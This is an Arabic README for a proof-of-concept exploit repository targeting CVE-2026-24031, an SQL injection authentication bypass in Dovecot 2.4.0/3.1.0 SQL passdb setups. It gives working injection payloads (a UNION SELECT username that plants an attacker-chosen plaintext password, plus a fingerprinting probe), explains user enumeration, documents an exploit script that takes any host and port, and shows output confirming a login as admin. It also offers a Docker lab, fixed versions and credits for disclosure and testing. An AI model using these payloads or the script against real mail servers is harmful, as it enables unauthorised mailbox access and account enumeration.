
إثبات مفهوم (PoC) مستقل بلغة بايثون لتجاوز مصادقة SQL في Dovecot: يسجّل الدخول كأي مستخدم دون كلمة المرور الحقيقية ويعدّد أسماء المستخدمين على خوادم IMAP/POP3 الضعيفة بإصدارات 2.4.0/3.1.0.
يحتوي هذا المستودع على استغلال إثبات مفهوم (PoC) لتجاوز المصادقة الخاص بـ CVE-2026-24031، وهو حقن SQL في مصادقة Dovecot القائمة على SQL، ظهر كنتيجة لانحدار (regression) في Dovecot 2.4.0 / 3.1.0. في بيئة المختبر المعتمدة على Docker (Dovecot 2.4.0 + PostgreSQL)، يسجّل الاستغلال الدخول بصفة أي مستخدم دون معرفة كلمة المرور الحقيقية، كما يمكنه تعداد المستخدمين.
تحذير
ينفّذ هذا الاستغلال (PoC) تجاوز مصادقة دون مصادقة مسبقة ضد خادم بريد. استخدمه فقط ضد مختبر تملكه أو ضد أهداف مُصرَّح لك صراحةً باختبارها. لا يعدّل حالة الخادم، لكنه سيخضع المصادقة للاختبار وقد يترك سجلات دخول فاشلة في السجلات (logs).
تصبح مصادقة Dovecot القائمة على SQL قابلة للاستغلال عندما يقوم المسؤول بإفراغ توجيه الإعداد auth_username_chars (أي تعيينه إلى قيمة فارغة). يعمل auth_username_chars عادةً كمرشّح إدخال يقيّد الأحرف المسموح بها في اسم المستخدم قبل إدراج اسم المستخدم في استعلام SQL الخاص بقاعدة كلمات المرور (passdb).
عندما يكون auth_username_chars = فارغًا، تُمرَّر القيمة إلى الاستعلام دون sql_escape_string(). وبالتالي يصبح اسم مستخدم مُصمَّم بعناية يحتوي على محارف SQL وصفية (metacharacters) جزءًا من الاستعلام:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
تجعل الحمولة التالية الاستعلام يعيد صفًّا للمستخدم VICTIM بكلمة مرور يختارها المهاجم:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} يُحلَّل بواسطة Dovecot (وليس بواسطة قاعدة البيانات)، لذلك تتم معالجة مخطط كلمة المرور بشكل أصلي وتعمل الحيلة على pgsql وmysql وmariadb وsqlite. عند إرسال 12345 ككلمة مرور، يحدث التطابق، مما يعطي LOGIN OK بصفة VICTIM دون معرفة كلمة المرور الحقيقية.
الاستعلام الناتج هو:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
هذا انحدار (regression) ظهر في Dovecot 2.4.0 وهو موجود أيضًا في 3.1.0. الإصدارات الأقدم 2.2.x / 2.3.x تقوم بتهريب (escape) اسم المستخدم ولا تتأثر بالثغرة. تم إصلاح الخلل في 2.4.3 و3.1.4 (OXDC-ADV-2026-0001، DOV-8781).
تنطبق الثغرة فقط عند تحقق جميع الشروط التالية:
driver = sql) تستخدم pgsql أو mysql أو mariadb أو sqlite؛auth_username_chars = (فارغ) — الشرط المحفِّز الذي يضبطه المسؤول؛تم التحقق من الاستغلال (PoC) ضد Dovecot 2.4.0 (وسم الإصدار الرسمي، daeb6bc5) + PostgreSQL.
قم بالمصادقة باستخدام اسم المستخدم ' OR '1'='1' -- وكلمة مرور عشوائية. على خادم قابل للاستغلال، يتغيّر الاستعلام، لذا يعيد Dovecot a1 NO [UNAVAILABLE] Temporary authentication failure. بدلًا من AUTHENTICATIONFAILED المعتادة. هذه هي البصمة التي تُثبت أن اسم المستخدم وصل إلى استعلام SQL دون تهريب.
قم بالمصادقة باستخدام اسم المستخدم:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
وكلمة المرور 12345. يتجاوز صف UNION عمود password الخاص بـ VICTIM، ويتم تحليل {PLAIN} بواسطة Dovecot، لذلك ينجح فحص كلمة المرور.
نظرًا لأن شكل نتيجة الاستعلام يختلف بين حالتي «المستخدم موجود» و«المستخدم غير موجود» (عدد الصفوف وحالة الاستجابة)، فإن الخادم يكشف ما إذا كان اسم المستخدم موجودًا أم لا. يعمل هذا ضد كل الأنظمة الخلفية المتأثرة.
الاستغلال (PoC) هو سكربت Python 3 قائم بذاته (المكتبة القياسية فقط). ابدأ تشغيل المختبر القابل للاستغلال وشغّل الاستغلال:
./run.sh
يبني run.sh مختبر Docker ويشغّله (lab/docker-compose.yml)، وينتظر خدمة IMAPS على 127.0.0.1:14193، ثم يشغّل الاستغلال (PoC). يبني المختبر Dovecot 2.4.0 من الحزمة المضغوطة للإصدار الرسمي مع إعدادات قابلة للاستغلال عمدًا وقاعدة بيانات PostgreSQL.
الخطوات اليدوية المكافئة:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
خيارات الاستغلال (PoC):
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
تحتوي قاعدة بيانات المختبر على هؤلاء المستخدمين: admin/admin123 وalice/alicepass وbob/bobpass وpostmaster/postpass وvictim/supersecret. ينتحل الاستغلال (PoC) شخصية admin دون معرفة كلمة مروره.
تم التحقق من الاستغلال (PoC) بالكامل في مختبر Docker. كلمة مرور المستخدم admin الحقيقية هي admin123؛ يسجّل الاستغلال الدخول بصفة admin باستخدام 12345.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
النص الكامل المُنقّى (sanitized)، بما في ذلك خطوات التحكم الشرعي وكشف عدم التهريب، موجود في docs/example-output.txt.
العرض المتحرك في أعلى هذا الملف (assets/CVE-2026-24031.gif) تم تسجيله من جلسة حقيقية ضد المختبر قيد التشغيل. يمكنك إعادة توليده باستخدام:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
يقود demo.sh العرض الحي؛ وdemo.cast هو تسجيل asciinema الخام المستخدم لإنشاء صورة GIF.
تم بالفعل نشر النشرة الأمنية (OXDC-ADV-2026-0001، DOV-8781) من المصدر الرسمي؛ يقوم Dovecot 2.4.3 / 3.1.4 بتهريب اسم المستخدم قبل إدراجه في استعلام SQL. لذلك لا يتضمن هذا المستودع الإصلاح بشكل مكرر. التوصية الأمنية هي عدم إفراغ auth_username_chars أبدًا، أو الترقية إلى إصدار مُصلَّح.
اكتشاف الثغرة: whisperer@yeswehack. البحث وتنفيذ الاستغلال: A. Ramos <[email protected]> (تويتر: @aramosf).
CVE-2026-24031 استغلال PoC لتجاوز مصادقة Dovecot عبر SQL (تجاوز المصادقة + تعداد المستخدمين)
| الإصدار | الحالة |
|---|
| Dovecot 2.2.x | غير متأثر (يتم تهريب اسم المستخدم) |
| Dovecot 2.3.x | غير متأثر (يتم تهريب اسم المستخدم) |
| Dovecot 2.4.0 | قابل للاستغلال (انحدار: عدم تهريب اسم المستخدم) |
| Dovecot 2.4.3+ | مُصلَّح (يتم تهريب اسم المستخدم) |
| Dovecot 3.1.0 | قابل للاستغلال (نفس الانحدار) |
| Dovecot 3.1.4+ | مُصلَّح (يتم تهريب اسم المستخدم) |